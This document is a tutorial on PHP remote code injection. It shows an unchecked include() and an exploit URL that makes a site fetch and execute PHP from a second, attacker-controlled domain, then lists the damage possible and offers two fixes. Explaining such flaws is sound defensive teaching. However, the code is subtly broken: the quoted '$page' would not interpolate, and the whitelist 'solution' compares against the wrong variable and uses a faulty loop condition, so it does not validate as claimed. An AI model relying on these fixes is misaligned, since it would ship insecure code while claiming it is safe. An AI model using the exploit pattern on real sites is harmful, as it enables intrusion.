Code Injection Vulnerabilities Explained
Introduction:
There has been a sudden increase of attacks on sites that have Code Injection vulnerabilites. Code Injection is a term used when code is injected straight into a program/script from an outside source for execution at some point in time. These type of vulnerabilities may be many times worse than any other vulnerability, since the security of the website, and possibly of the server, is compromised.
Example:
This example will help you understand what exactly a Code Injection Vulnerability looks like in it's simplest form, and unfortunately, this snipet is actually used in quite a few websites.
... html header ...
<?php
include ('$page');
?>
... html footer ...
Note: There is no php code in the header or footer, it is just HTML.
To some, this is obviously a big mistake. The '$page' variable is never checked, so an attacker can choose what to include. So how does one exploit the above code?
Example Exploit:
An attacker can create a 'txt' file on another server and have it included in the above example. If the attacker puts php code in this 'txt' file, it will be executed on the exploited host.
<?php
phpinfo();
?>
Let's say the vulnerable code is located at 'http://domain/index.php', and the 'txt' file is located at 'http://domain2/code.txt', then the attacker would enter something like this into his browser:
http://domain/index.php?page=http://domain2/code.txt
Then end result would have the exploited website execute the command 'phpinfo()' in between the header and footer where the php include is located.
Explaination:
If you had no problem understanding why this would happen, feel free to skip this section.
The 'include()' function takes data from another file, that is defined in the brackets (), and places the data in the area that the include is executed. So let us run through the program in our minds, and assume the url mentioned above is entered into a browser. In the url, it defines the variable $page as containing 'http://domain2/code.txt', so let us replaces all $page variables with this string:
... html header ...
<?php
include ('http://domain2/code.txt');
?>
... html footer ...
Now the include function takes the code from the url/file mentioned, and places it where the include was called, so the result would be:
... html header ...
<?php
phpinfo();
?>
... html footer ...
Now this is what the server ends up processing. What happens here is the header is displayed, then the php command; 'phpinfo()' is executed, followed by the footer at the end.
What can happen:
The above example had harmless code being executed, but the attacker can execute more malicious code.
- An attacker can output the contents of any php file raw to the browser, where he can possibly obtain an sql login/password to your database.
- An attacker can use your website to send out large amounts of spam to various email addresses.
- An attacker can deface your website.
- An attacker can obtain private information.
- An attacker may gain access to the whole server.
This is why it is important to secure your website, and not leave such vulnerabilities open for attack.
Solution:
There is a very simple solution to the above example, and that is to check the variable. In the above example, 99% of the time you know what values $page should be, and therefore can check to see if that is the case.
... html header ...
<?php
//list of valid pages
$pages=array("games/index.html", "news/news.html", "games/1.html");
//check $page variable
$valid=false;
for ($i=0; $i<sizeof($pages) || !$valid; $i++) {
if ($page==$page[$i]) {
$valid=true;
}
}
if ($valid) include($page);
if (!$valid) include($pages[0]); // include the first page if not valid
?>
... html footer ...
Another Solution:
Another solution is to check for invalid characters and setup all the page files in a seperate directory, all together.
Example of where the pages are placed:
- pages/games.html
- pages/news.html
- pages/games-1.html
Code:
... html header ...
<?php
$invalidChars=array("/",".","\\","\"",";");
$page=str_replace($invalidChars,"",$page);
include ("pages/".$page.".html");
?>
... html footer ...
